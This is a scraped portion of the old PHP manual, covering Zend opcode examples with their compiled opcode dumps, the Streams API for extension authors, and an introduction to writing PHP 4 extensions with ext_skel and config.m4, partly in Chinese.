6 | 0 | RECV |  |  |  | 1
7 | 1 | PRINT |  |  | ~0 | !0
 | 2 | FREE |  |  |  | ~0
8 | 3 | RETURN |  |  |  | null

User Contributed Notes

There are no user contributed notes for this page.


SEND_VAR

PHP code

<?php
/*
 * Pass the variable value as an actual parameter to a function.  DO_FCALL follows.
 * opcode number: 66
 */
$a = array(1,2,3);
if(is_array($a)){ return 0; }
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | INIT_ARRAY |  |  | ~0 | 1
 | 1 | ADD_ARRAY_ELEMENT |  |  | ~0 | 2
 | 2 | ADD_ARRAY_ELEMENT |  |  | ~0 | 3
 | 3 | ASSIGN |  |  |  | !0,~0
7 | 4 | SEND_VAR |  |  |  | !0
 | 5 | DO_FCALL |  | 1 |  | 'is_array'
 | 6 | JMPZ |  |  |  | $2,->9
 | 7 | RETURN |  |  |  | 0
 | 8 | JMP |  |  |  | ->9
8 | 9 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


SEND_VAR_NO_REF

PHP code

<?php
/*
 *
 * opcode number: 106
 * No sample PHP yet */
?>

User Contributed Notes

There are no user contributed notes for this page.


SL

PHP code

<?php
/*
 * Shift bits of value1 to the left value2 steps (each step means "multiply by two")
 * opcode number: 6
 */
echo 8 << 2;
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | SL |  |  | ~0 | 8,2
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


SR

PHP code

<?php
/*
 * Shift bits of value1 to the right value2 steps (each step means "divide by two")
 * opcode number: 7
 */
echo 8 >> 2;
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | SR |  |  | ~0 | 8,2
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


SUB

PHP code

<?php
/*
 * Subtracts "value2" from "value1" and stores the result into "result".
 * opcode number: 2
 */
echo 1-2;
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | SUB |  |  | ~0 | 1,2
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


SWITCH_FREE

PHP code

<?php
/*
 * Release the allocated space of "value"?
 * opcode number: 49
 */
$a = array(1,2,3);
foreach($a as $num){
    print $num;
}
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a, !1=$num

line | # | op | fetch | ext | return | operands
6 | 0 | INIT_ARRAY |  |  | ~0 | 1
 | 1 | ADD_ARRAY_ELEMENT |  |  | ~0 | 2
 | 2 | ADD_ARRAY_ELEMENT |  |  | ~0 | 3
 | 3 | ASSIGN |  |  |  | !0,~0
7 | 4 | FE_RESET |  |  | $2 | !0,->11
 | 5 | FE_FETCH |  |  | $3 | $2,->11
 | 6 | ZEND_OP_DATA |  |  |  |
 | 7 | ASSIGN |  |  |  | !1,$3
8 | 8 | PRINT |  |  | ~5 | !1
 | 9 | FREE |  |  |  | ~5
9 | 10 | JMP |  |  |  | ->5
 | 11 | SWITCH_FREE |  |  |  | $2
10 | 12 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


THROW

PHP code

<?php
/*
 *
 * opcode number: 108
 */
try {
    $error = 'Always throw this error';
    throw new Exception($error);

    // Code following an exception is not executed.
    echo 'Never executed';

} catch (Exception $e) {
    echo 'Caught exception: ',  $e->getMessage(), "\n";
}

// Continue execution
echo 'Hello World';
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$error, !1=$e

line | # | op | fetch | ext | return | operands
7 | 0 | ASSIGN |  |  |  | !0,'Always+throw+this+error'
8 | 1 | ZEND_FETCH_CLASS |  |  | :1 | 'Exception'
 | 2 | NEW |  |  | $2 | :1
 | 3 | SEND_VAR |  |  |  | !0
 | 4 | DO_FCALL_BY_NAME |  | 1 |  |
 | 5 | ZEND_THROW |  | 0 |  | $2
11 | 6 | ECHO |  |  |  | 'Never+executed'
13 | 7 | JMP |  |  |  | ->15
 | 8 | ZEND_FETCH_CLASS |  |  | :4 | 'Exception'
 | 9 | ZEND_CATCH |  | 15 |  | $4,!1
14 | 10 | ECHO |  |  |  | 'Caught+exception%3A+'
 | 11 | ZEND_INIT_METHOD_CALL |  |  |  | !1,'getMessage'
 | 12 | DO_FCALL_BY_NAME |  | 0 |  |
 | 13 | ECHO |  |  |  | $6
 | 14 | ECHO |  |  |  | '%0A'
18 | 15 | ECHO |  |  |  | 'Hello+World'
19 | 16 | RETURN |  |  |  | 1

User Contributed Notes

Mokrator 01-Jul-2017 07:20
concider use of "trigger_error()"

you can define the type of error to log an error.

trigger_error('usererror occured...', E_ERROR);

take care if you are using variables in the error-text that they could cause a security risk due to that they are not escaped or can contain html (including <script>) code if the error gets echo'ed to the browser.


TICKS

PHP code

<?php
/*
 *
 * opcode number: 105
 */
// A function that records the time when it is called
function profile()
{
   echo "profile function is called\n";
}

// Set up a tick handler
register_tick_function("profile");

// Initialize the function before the declare block
profile();

// Run a block of code, throw a tick every 2nd statement
declare(ticks=2) {
   for ($x = 0; $x < 10; ++$x) {
         echo "hello world\n";
   }
}
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$x

line | # | op | fetch | ext | return | operands
7 | 0 | NOP |  |  |  |
13 | 1 | SEND_VAL |  |  |  | 'profile'
 | 2 | DO_FCALL |  | 1 |  | 'register_tick_function'
16 | 3 | DO_FCALL |  | 0 |  | 'profile'
20 | 4 | ASSIGN |  |  |  | !0,0
 | 5 | IS_SMALLER |  |  | ~3 | !0,10
 | 6 | JMPZNZ |  | 9 |  | ~3,->13
 | 7 | PRE_INC |  |  |  | !0
 | 8 | JMP |  |  |  | ->5
21 | 9 | ECHO |  |  |  | 'hello+world%0A'
 | 10 | TICKS |  |  |  | 2
22 | 11 | TICKS |  |  |  | 2
 | 12 | JMP |  |  |  | ->7
 | 13 | TICKS |  |  |  | 2
23 | 14 | TICKS |  |  |  | 2
24 | 15 | RETURN |  |  |  | 1

Function name: profile

Compiled variables: none

line | # | op | fetch | ext | return | operands
9 | 0 | ECHO |  |  |  | 'profile+function+is+called%0A'
10 | 1 | RETURN |  |  |  | null

User Contributed Notes

There are no user contributed notes for this page.


UNSET_DIM

PHP code

<?php
/*
 * Unset the entry of array-value, which is specified by index, and store the original element value into "result".
 * opcode number: 75
 */
$a = array(1,2,3);
unset($a[0]);
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | INIT_ARRAY |  |  | ~0 | 1
 | 1 | ADD_ARRAY_ELEMENT |  |  | ~0 | 2
 | 2 | ADD_ARRAY_ELEMENT |  |  | ~0 | 3
 | 3 | ASSIGN |  |  |  | !0,~0
7 | 4 | UNSET_DIM |  |  | $2 | !0,0
8 | 5 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


UNSET_OBJ

PHP code

<?php
/*
 * Unset the property of the current object (this) and store the original value into "result".
 * opcode number: 76
 */
$obj = new A();
unset($obj->num);
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$obj

line | # | op | fetch | ext | return | operands
6 | 0 | ZEND_FETCH_CLASS |  |  | :0 | 'A'
 | 1 | NEW |  |  | $1 | :0
 | 2 | DO_FCALL_BY_NAME |  | 0 |  |
 | 3 | ASSIGN |  |  |  | !0,$1
7 | 4 | UNSET_OBJ |  |  | $4 | !0,'num'
8 | 5 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


UNSET_VAR

PHP code

<?php
/*
 * Unset the variable and store the original value into "result".
 * opcode number: 74
 */
$x = 1;
$a='x';
unset($$a);
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$x, !1=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN |  |  |  | !0,1
7 | 1 | ASSIGN |  |  |  | !1,'x'
8 | 2 | UNSET_VAR |  |  | $2 | !1
9 | 3 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


USER_OPCODE

PHP code

<?php
/*
 *
 * opcode number: 150
 * No sample PHP yet */
?>

User Contributed Notes

There are no user contributed notes for this page.


VERIFY_ABSTRACT_CLASS

PHP code

<?php
/*
 *
 * opcode number: 146
 * No sample PHP yet */
?>

User Contributed Notes

There are no user contributed notes for this page.


ZEND_DECLARE_LAMBDA_FUNCTION

PHP code

<?php
/*
 *
 * opcode number: 153
 * No sample PHP yet */
?>

User Contributed Notes

There are no user contributed notes for this page.


ZEND_JMP_SET

PHP code

<?php
/*
 *
 * opcode number: 152
 * No sample PHP yet */
?>

User Contributed Notes

moriarty at front dot ru 17-Mar-2013 03:19
<?php
$t = 1?:5;
?>

line     # *  op
--------------------------------------
  73     0  >   ZEND_JMP_SET
         1      QM_ASSIGN
         2      ASSIGN


Zend Engine 1

Table of Contents

  • 旧的介绍
  • Streams API for PHP Extension Authors
  • Zend API：深入 PHP 内核
  • TSRM API

Zend Engine 1是PHP 4所有版本使用的内部引擎。它的维护已停止，但是PHP 4仍然在被广泛使用中，所以老的 ZE1 文档原封不动的保留在此。

User Contributed Notes

There are no user contributed notes for this page.


旧的介绍

如果你即将开始开发 PHP 或者 Zend 扩展，你需要为自己准备由各种 API 所提供的程序环境。文档这部分将试图介绍可用的PHP和Zend Engine的多种版本所提供的API。由于这其中大部分有效信息或多或少有些过时，所以除了手册之外，你还需要阅读PHP源码中的很多像README.SELF-CONTAINED-EXTENSIONS和README.EXT_SKEL这样的文件。

User Contributed Notes

There are no user contributed notes for this page.


Streams API for PHP Extension Authors

Note:

The functions in this chapter are for use in the PHP source code and are not PHP functions. Information on userland stream functions can be found in the Stream Reference.

Overview

The PHP Streams API introduces a unified approach to the handling of files and sockets in PHP extension. Using a single API with standard functions for common operations, the streams API allows your extension to access files, sockets, URLs, memory and script-defined objects. Streams is a run-time extensible API that allows dynamically loaded modules (and scripts!) to register new streams.

The aim of the Streams API is to make it comfortable for developers to open files, URLs and other streamable data sources with a unified API that is easy to understand. The API is more or less based on the ANSI C stdio family of functions (with identical semantics for most of the main functions), so C programmers will have a feeling of familiarity with streams.

The streams API operates on a couple of different levels: at the base level, the API defines php_stream objects to represent streamable data sources. On a slightly higher level, the API defines php_stream_wrapper objects which "wrap" around the lower level API to provide support for retrieving data and meta-data from URLs. An additional context parameter, accepted by most stream creation functions, is passed to the wrapper's stream_opener method to fine-tune the behavior of the wrapper.

Any stream, once opened, can also have any number of filters applied to it, which process data as it is read from/written to the stream.

Streams can be cast (converted) into other types of file-handles, so that they can be used with third-party libraries without a great deal of trouble. This allows those libraries to access data directly from URL sources. If your system has the fopencookie() or funopen() function, you can even pass any PHP stream to any library that uses ANSI stdio!

Streams Basics

Using streams is very much like using ANSI stdio functions. The main difference is in how you obtain the stream handle to begin with. In most cases, you will use php_stream_open_wrapper() to obtain the stream handle. This function works very much like fopen, as can be seen from the example below:

Example #1 simple stream example that displays the PHP home page

php_stream * stream = php_stream_open_wrapper("http://www.php.net", "rb", REPORT_ERRORS, NULL);
if (stream) {
    while(!php_stream_eof(stream)) {
        char buf[1024];

        if (php_stream_gets(stream, buf, sizeof(buf))) {
            printf(buf);
        } else {
            break;
        }
    }
    php_stream_close(stream);
}

The table below shows the Streams equivalents of the more common ANSI stdio functions. Unless noted otherwise, the semantics of the functions are identical.

ANSI stdio equivalent functions in the Streams API
ANSI Stdio Function | PHP Streams Function | Notes
fopen | php_stream_open_wrapper | Streams includes additional parameters
fclose | php_stream_close |
fgets | php_stream_gets |
fread | php_stream_read | The nmemb parameter is assumed to have a value of 1, so the prototype looks more like read(2)
fwrite | php_stream_write | The nmemb parameter is assumed to have a value of 1, so the prototype looks more like write(2)
fseek | php_stream_seek |
ftell | php_stream_tell |
rewind | php_stream_rewind |
feof | php_stream_eof |
fgetc | php_stream_getc |
fputc | php_stream_putc |
fflush | php_stream_flush |
puts | php_stream_puts | Same semantics as puts, NOT fputs
fstat | php_stream_stat | Streams has a richer stat structure

Streams as Resources

All streams are registered as resources when they are created. This ensures that they will be properly cleaned up even if there is some fatal error. All of the filesystem functions in PHP operate on streams resources - that means that your extensions can accept regular PHP file pointers as parameters to, and return streams from their functions. The streams API makes this process as painless as possible:

Example #2 How to accept a stream as a parameter

PHP_FUNCTION(example_write_hello)
{
    zval *zstream;
    php_stream *stream;

    if (FAILURE == zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &zstream))
        return;

    php_stream_from_zval(stream, &zstream);

    /* you can now use the stream.  However, you do not "own" the
        stream, the script does.  That means you MUST NOT close the
        stream, because it will cause PHP to crash! */

    php_stream_write(stream, "hello\n");

    RETURN_TRUE();
}

Example #3 How to return a stream from a function

PHP_FUNCTION(example_open_php_home_page)
{
    php_stream *stream;

    stream = php_stream_open_wrapper("http://www.php.net", "rb", REPORT_ERRORS, NULL);

    php_stream_to_zval(stream, return_value);

    /* after this point, the stream is "owned" by the script.
        If you close it now, you will crash PHP! */
}

Since streams are automatically cleaned up, it's tempting to think that we can get away with being sloppy programmers and not bother to close the streams when we are done with them. Although such an approach might work, it is not a good idea for a number of reasons: streams hold locks on system resources while they are open, so leaving a file open after you have finished with it could prevent other processes from accessing it. If a script deals with a large number of files, the accumulation of the resources used, both in terms of memory and the sheer number of open files, can cause web server requests to fail. Sounds bad, doesn't it? The streams API includes some magic that helps you to keep your code clean - if a stream is not closed by your code when it should be, you will find some helpful debugging information in you web server error log.

Note: Always use a debug build of PHP when developing an extension (--enable-debug when running configure), as a lot of effort has been made to warn you about memory and stream leaks.

In some cases, it is useful to keep a stream open for the duration of a request, to act as a log or trace file for example. Writing the code to safely clean up such a stream is not difficult, but it's several lines of code that are not strictly needed. To save yourself the trouble of writing the code, you can mark a stream as being OK for auto cleanup. What this means is that the streams API will not emit a warning when it is time to auto-cleanup a stream. To do this, you can use php_stream_auto_cleanup().

Streams open options

These constants affect the operation of stream factory functions.

IGNORE_PATH
This is the default option for streams; it requests that the include_path is not to be searched for the requested file.
USE_PATH
Requests that the include_path is to be searched for the requested file.
IGNORE_URL
Requests that registered URL wrappers are to be ignored when opening the stream. Other non-URL wrappers will be taken into consideration when decoding the path. There is no opposite form for this flag; the streams API will use all registered wrappers by default.
IGNORE_URL_WIN
On Windows systems, this is equivalent to IGNORE_URL. On all other systems, this flag has no effect.
ENFORCE_SAFE_MODE
Requests that the underlying stream implementation perform safe_mode checks on the file before opening the file. Omitting this flag will skip safe_mode checks and allow opening of any file that the PHP process has rights to access.
REPORT_ERRORS
If this flag is set, and there was an error during the opening of the file or URL, the streams API will call the php_error function for you. This is useful because the path may contain username/password information that should not be displayed in the browser output (it would be a security risk to do so). When the streams API raises the error, it first strips username/password information from the path, making the error message safe to display in the browser.
STREAM_MUST_SEEK
This flag is useful when your extension really must be able to randomly seek around in a stream. Some streams may not be seekable in their native form, so this flag asks the streams API to check to see if the stream does support seeking. If it does not, it will copy the stream into temporary storage (which may be a temporary file or a memory stream) which does support seeking. Please note that this flag is not useful when you want to seek the stream and write to it, because the stream you are accessing might not be bound to the actual resource you requested.

Note: If the requested resource is network based, this flag will cause the opener to block until the whole contents have been downloaded.

STREAM_WILL_CAST
If your extension is using a third-party library that expects a FILE* or file descriptor, you can use this flag to request the streams API to open the resource but avoid buffering. You can then use php_stream_cast() to retrieve the FILE* or file descriptor that the library requires. The is particularly useful when accessing HTTP URLs where the start of the actual stream data is found after an indeterminate offset into the stream. Since this option disables buffering at the streams API level, you may experience lower performance when using streams functions on the stream; this is deemed acceptable because you have told streams that you will be using the functions to match the underlying stream implementation. Only use this option when you are sure you need it.

User Contributed Notes

armand at nl dot envida dot net 11-Sep-2003 02:05
To have your extension ignore the open_basedir restrictions that may be set, use
  STREAM_DISABLE_OPENBASEDIR

I'm not sure why this option is left out of the documentation,
there are valid and legit uses for this option.


Zend API：深入 PHP 内核

Introduction

知者不言。

言者不知。

有时，看起来简单的PHP并不够用。尽管不够用的情况对普通的程序员很少见，而专业的程序员很快就能将PHP带到它的边界(瓶颈)，从性能或功能方面看。新的功能不是生来就能被实现，是因为程序语言固有的限制和复杂，当不得不附添加巨大的默认代码库到每个简单脚本上时，就会出现这些限制和麻烦，于是需要寻找另一种方式来克服PHP这些终极缺陷。

基于上述说法，是时候接触PHP的心脏并看看它的核心了，即让PHP运行的C代码。

Warning

这些信息现在已经过时，且其中一部分仅适用于在PHP 4早期版本中用到的ZendEngine 1.0 API。

更多新的信息能在PHP源码的各种README文件和Zend网站中的» Internals章节找到。

概述

"扩展PHP"说起来容易做起来难。PHP已经进化成一个日趋成熟的源码包几十兆大小的工具。要骇客如此复杂的一个系统，不得不学习和思考。构建本章内容时，我们最终选择了"在实战中学习"的方式。这不是最科学也不是最专业的方式，但是此方式最有趣，也得出了最好的最终结果。下面的部分，你将先快速的学习到，如何获得最基本的扩展，且这些扩展立即就可运行。然后你将学习到 Zend 的高级 API 功能，这种方式将不得不试图说明（ZEND API相关的）功能，设计，建议，技巧等等。以一言蔽之，在任何实战之前这样提供一个大框架的通览。尽管这是"较好"的方法，且没有垃圾hacks生成，但是这种学习方式很难并且费力又费时，这就是我们决定采用"在实战中学习"方式的原因。

注意到尽管本章内容试图尽可能多的说明PHP内部工作机制的知识，但是不可能真正给出任何情况任何时候都可用的PHP扩展的完全指导。因为PHP包是如此庞大复杂，以致你通过实战来使自己学习时,对它的内部工作机制仅仅可达到理解的程度。所以我们鼓励你跟着源码一起学习。

什么是 Zend ? 什么是 PHP ?

Zend是语言引擎，PHP内核。PHP是从外层展现的完整系统。咋一听似乎有点模糊不清，但是其实并不复杂( 看下面).为了实现一个 web 脚本解释器，你需要三个部分：

  1. 第一：解释器部分分析输入代码，翻译代码，然后执行代码。

  2. 第二：功能部分 完成语言的功能（函数，等等）。

  3. 第三：接口部分与web通信，等等。

Zend完全参与第一部分，部分参与第二部分；PHP参与第二部分和三部分.他们一起构成完整的PHP包。实际上Zend自己仅仅构成语言核心，用预定义函数实现 PHP 非常基础部分。而 PHP 包含所有的实际形成语言突出能力的所有模块。

以下部分将讨论PHP能在哪里扩展并如何扩展。

Extension Possibilities

As shown above, PHP can be extended primarily at three points: external modules, built-in modules, and the Zend engine. The following sections discuss these options.

External Modules

External modules can be loaded at script runtime using the function dl(). This function loads a shared object from disk and makes its functionality available to the script to which it's being bound. After the script is terminated, the external module is discarded from memory. This method has both advantages and disadvantages, as described in the following table:

Advantages | Disadvantages
External modules don't require recompiling of PHP. | The shared objects need to be loaded every time a script is being executed (every hit), which is very slow.
The size of PHP remains small by "outsourcing" certain functionality. | External additional files clutter up the disk.
 |  | Every script that wants to use an external module's functionality has to specifically include a call to dl(), or the extension tag in php.ini needs to be modified (which is not always a suitable solution).
To sum up, external modules are great for third-party products, small additions to PHP that are rarely used, or just for testing purposes. To develop additional functionality quickly, external modules provide the best results. For frequent usage, larger implementations, and complex code, the disadvantages outweigh the advantages.

Third parties might consider using the extension tag in php.ini to create additional external modules to PHP. These external modules are completely detached from the main package, which is a very handy feature in commercial environments. Commercial distributors can simply ship disks or archives containing only their additional modules, without the need to create fixed and solid PHP binaries that don't allow other modules to be bound to them.

Built-in Modules

Built-in modules are compiled directly into PHP and carried around with every PHP process; their functionality is instantly available to every script that's being run. Like external modules, built-in modules have advantages and disadvantages, as described in the following table:

Advantages | Disadvantages
No need to load the module specifically; the functionality is instantly available. | Changes to built-in modules require recompiling of PHP.
No external files clutter up the disk; everything resides in the PHP binary. | The PHP binary grows and consumes more memory.
Built-in modules are best when you have a solid library of functions that remains relatively unchanged, requires better than poor-to-average performance, or is used frequently by many scripts on your site. The need to recompile PHP is quickly compensated by the benefit in speed and ease of use. However, built-in modules are not ideal when rapid development of small additions is required.

The Zend Engine

Of course, extensions can also be implemented directly in the Zend engine. This strategy is good if you need a change in the language behavior or require special functions to be built directly into the language core. In general, however, modifications to the Zend engine should be avoided. Changes here result in incompatibilities with the rest of the world, and hardly anyone will ever adapt to specially patched Zend engines. Modifications can't be detached from the main PHP sources and are overridden with the next update using the "official" source repositories. Therefore, this method is generally considered bad practice and, due to its rarity, is not covered in this book.

Source Layout

Note:

Prior to working through the rest of this chapter, you should retrieve clean, unmodified source trees of your favorite Web server. We're working with Apache (available at » http://httpd.apache.org/) and, of course, with PHP (available at » https://www.php.net/ - does it need to be said?).

Make sure that you can compile a working PHP environment by yourself! We won't go into this issue here, however, as you should already have this most basic ability when studying this chapter.

Before we start discussing code issues, you should familiarize yourself with the source tree to be able to quickly navigate through PHP's files. This is a must-have ability to implement and debug extensions.

The following table describes the contents of the major directories.

Directory | Contents
php-src | Main PHP source files and main header files; here you'll find all of PHP's API definitions, macros, etc. (important). Everything else is below this directory.
php-src/ext | Repository for dynamic and built-in modules; by default, these are the "official" PHP modules that have been integrated into the main source tree. From PHP 4.0, it's possible to compile these standard extensions as dynamic loadable modules (at least, those that support it).
php-src/main | This directory contains the main php macros and definitions. (important)
php-src/pear | Directory for the PHP Extension and Application Repository. This directory contains core PEAR files.
php-src/sapi | Contains the code for the different server abstraction layers.
TSRM | Location of the "Thread Safe Resource Manager" (TSRM) for Zend and PHP.
ZendEngine2 | Location of the Zend Engine files; here you'll find all of Zend's API definitions, macros, etc. (important).

Discussing all the files included in the PHP package is beyond the scope of this chapter. However, you should take a close look at the following files:

  • php-src/main/php.h, located in the main PHP directory. This file contains most of PHP's macro and API definitions.

  • php-src/Zend/zend.h, located in the main Zend directory. This file contains most of Zend's macros and definitions.

  • php-src/Zend/zend_API.h, also located in the Zend directory, which defines Zend's API.

You should also follow some sub-inclusions from these files; for example, the ones relating to the Zend executor, the PHP initialization file support, and such. After reading these files, take the time to navigate around the package a little to see the interdependencies of all files and modules - how they relate to each other and especially how they make use of each other. This also helps you to adapt to the coding style in which PHP is authored. To extend PHP, you should quickly adapt to this style.

Extension Conventions

Zend is built using certain conventions; to avoid breaking its standards, you should follow the rules described in the following sections.

Macros

For almost every important task, Zend ships predefined macros that are extremely handy. The tables and figures in the following sections describe most of the basic functions, structures, and macros. The macro definitions can be found mainly in zend.h and zend_API.h. We suggest that you take a close look at these files after having studied this chapter. (Although you can go ahead and read them now, not everything will make sense to you yet.)

Memory Management

Resource management is a crucial issue, especially in server software. One of the most valuable resources is memory, and memory management should be handled with extreme care. Memory management has been partially abstracted in Zend, and you should stick to this abstraction for obvious reasons: Due to the abstraction, Zend gets full control over all memory allocations. Zend is able to determine whether a block is in use, automatically freeing unused blocks and blocks with lost references, and thus prevent memory leaks. The functions to be used are described in the following table:

Function | Description
emalloc() | Serves as replacement for malloc().
efree() | Serves as replacement for free().
estrdup() | Serves as replacement for strdup().
estrndup() | Serves as replacement for strndup(). Faster than estrdup() and binary-safe. This is the recommended function to use if you know the string length prior to duplicating it.
ecalloc() | Serves as replacement for calloc().
erealloc() | Serves as replacement for realloc().
emalloc(), estrdup(), estrndup(), ecalloc(), and erealloc() allocate internal memory; efree() frees these previously allocated blocks. Memory handled by the e*() functions is considered local to the current process and is discarded as soon as the script executed by this process is terminated.
Warning

To allocate resident memory that survives termination of the current script, you can use malloc() and free(). This should only be done with extreme care, however, and only in conjunction with demands of the Zend API; otherwise, you risk memory leaks.

Zend also features a thread-safe resource manager to provide better native support for multithreaded Web servers. This requires you to allocate local structures for all of your global variables to allow concurrent threads to be run. Because the thread-safe mode of Zend was not finished back when this was written, it is not yet extensively covered here.

Directory and File Functions

The following directory and file functions should be used in Zend modules. They behave exactly like their C counterparts, but provide virtual working directory support on the thread level.

Zend Function | Regular C Function
V_GETCWD() | getcwd()
V_FOPEN() | fopen()
V_OPEN() | open()
V_CHDIR() | chdir()
V_GETWD() | getwd()
V_CHDIR_FILE() | Takes a file path as an argument and changes the current working directory to that file's directory.
V_STAT() | stat()
V_LSTAT() | lstat()

String Handling

Strings are handled a bit differently by the Zend engine than other values such as integers, Booleans, etc., which don't require additional memory allocation for storing their values. If you want to return a string from a function, introduce a new string variable to the symbol table, or do something similar, you have to make sure that the memory the string will be occupying has previously been allocated, using the aforementioned e*() functions for allocation. (This might not make much sense to you yet; just keep it somewhere in your head for now - we'll get back to it shortly.)

Complex Types

Complex types such as arrays and objects require different treatment. Zend features a single API for these types - they're stored using hash tables.

Note:

To reduce complexity in the following source examples, we're only working with simple types such as integers at first. A discussion about creating more advanced types follows later in this chapter.

PHP's Automatic Build System

PHP 4 features an automatic build system that's very flexible. All modules reside in a subdirectory of the ext directory. In addition to its own sources, each module consists of a config.m4 file, for extension configuration. (for example, see » http://www.gnu.org/software/m4/)

All these stub files are generated automatically, along with .cvsignore, by a little shell script named ext_skel that resides in the ext directory. As argument it takes the name of the module that you want to create. The shell script then creates a directory of the same name, along with the appropriate stub files.

Step by step, the process looks like this:

:~/cvs/php4/ext:> ./ext_skel --extname=my_module
Creating directory my_module
Creating basic files: config.m4 .cvsignore my_module.c php_my_module.h CREDITS EXPERIMENTAL tests/001.phpt my_module.php [done].

To use your new extension, you will have to execute the following steps:

1.  $ cd ..
2.  $ vi ext/my_module/config.m4
3.  $ ./buildconf
4.  $ ./configure --[with|enable]-my_module
5.  $ make
6.  $ ./php -f ext/my_module/my_module.php
7.  $ vi ext/my_module/my_module.c
8.  $ make

Repeat steps 3-6 until you are satisfied with ext/my_module/config.m4 and
step 6 confirms that your module is compiled into PHP. Then, start writing
code and repeat the last two steps as often as necessary.
This instruction creates the aforementioned files. To include the new module in the automatic configuration and build process, you have to run buildconf, which regenerates the configure script by searching through the ext directory and including all found config.m4 files.

The default config.m4 shown in The default config.m4. is a bit more complex:

Example #1 The default config.m4.

dnl $Id: build.xml 297078 2010-03-29 16:25:51Z degeberg $
dnl config.m4 for extension my_module

dnl Comments in this file start with the string 'dnl'.
dnl Remove where necessary. This file will not work
dnl without editing.

dnl If your extension references something external, use with:

dnl PHP_ARG_WITH(my_module, for my_module support,
dnl Make sure that the comment is aligned:
dnl [  --with-my_module             Include my_module support])

dnl Otherwise use enable:

dnl PHP_ARG_ENABLE(my_module, whether to enable my_module support,
dnl Make sure that the comment is aligned:
dnl [  --enable-my_module           Enable my_module support])

if test "$PHP_MY_MODULE" != "no"; then
  dnl Write more examples of tests here...

  dnl # --with-my_module -> check with-path
  dnl SEARCH_PATH="/usr/local /usr"     # you might want to change this
  dnl SEARCH_FOR="/include/my_module.h"  # you most likely want to change this
  dnl if test -r $PHP_MY_MODULE/; then # path given as parameter
  dnl   MY_MODULE_DIR=$PHP_MY_MODULE
  dnl else # search default path list
  dnl   AC_MSG_CHECKING([for my_module files in default path])
  dnl   for i in $SEARCH_PATH ; do
  dnl     if test -r $i/$SEARCH_FOR; then
  dnl       MY_MODULE_DIR=$i
  dnl       AC_MSG_RESULT(found in $i)
  dnl     fi
  dnl   done
  dnl fi
  dnl
  dnl if test -z "$MY_MODULE_DIR"; then
  dnl   AC_MSG_RESULT([not found])
  dnl   AC_MSG_ERROR([Please reinstall the my_module distribution])
  dnl fi

  dnl # --with-my_module -> add include path
  dnl PHP_ADD_INCLUDE($MY_MODULE_DIR/include)

  dnl # --with-my_module -> chech for lib and symbol presence
  dnl LIBNAME=my_module # you may want to change this
  dnl LIBSYMBOL=my_module # you most likely want to change this

  dnl PHP_CHECK_LIBRARY($LIBNAME,$LIBSYMBOL,
  dnl [
  dnl   PHP_ADD_LIBRARY_WITH_PATH($LIBNAME, $MY_MODULE_DIR/lib, MY_MODULE_SHARED_LIBADD)
  dnl   AC_DEFINE(HAVE_MY_MODULELIB,1,[ ])
  dnl ],[
  dnl   AC_MSG_ERROR([wrong my_module lib version or lib not found])
  dnl ],[
  dnl   -L$MY_MODULE_DIR/lib -lm -ldl
  dnl ])
  dnl
  dnl PHP_SUBST(MY_MODULE_SHARED_LIBADD)

  PHP_NEW_EXTENSION(my_module, my_module.c, $ext_shared)
fi

If you're unfamiliar with M4 files (now is certainly a good time to get familiar), this might be a bit confusing at first; but it's actually quite easy.

Note: Everything prefixed with dnl is treated as a comment and is not parsed.

The config.m4 file is responsible for parsing the command-line options passed to configure at configuration time. This means that it has to check for required external files and do similar configuration and setup tasks.

The default file creates two configuration directives in the configure script: --with-my_module and --enable-my_module. Use the first option when referring external files (such as the --with-apache directive that refers to the Apache directory). Use the second option when the user simply has to decide whether to enable your extension. Regardless of which option you use, you should uncomment the other, unnecessary one; that is, if you're using --enable-my_module, you should remove support for --with-my_module, and vice versa.

By default, the config.m4 file created by ext_skel accepts both directives and automatically enables your extension. Enabling the extension is done by using the PHP_EXTENSION macro. To change the default behavior to include your module into the PHP binary when desired by the user (by explicitly specifying --enable-my_module or --with-my_module), change the test for $PHP_MY_MODULE to == "yes":

if test "$PHP_MY_MODULE" == "yes"; then dnl
    Action.. PHP_EXTENSION(my_module, $ext_shared)
    fi
This would require you to use --enable-my_module each time when reconfiguring and recompiling PHP.

Note: Be sure to run buildconf every time you change config.m4!

We'll go into more details on the M4 macros available to your configuration scripts later in this chapter. For now, we'll simply use the default files.

Creating Extensions

We'll start with the creation of a very simple extension at first, which basically does nothing more than implement a function that returns the integer it receives as parameter. A simple extension. shows the source.

Example #2 A simple extension.

/* include standard header */
#include "php.h"

/* declaration of functions to be exported */
ZEND_FUNCTION(first_module);

/* compiled function list so Zend knows what's in this module */
zend_function_entry firstmod_functions[] =
{
    ZEND_FE(first_module, NULL)
    ZEND_FE_END
};

/* compiled module information */
zend_module_entry firstmod_module_entry =
{
    STANDARD_MODULE_HEADER,
    "First Module",
    firstmod_functions,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NO_VERSION_YET,
    STANDARD_MODULE_PROPERTIES
};

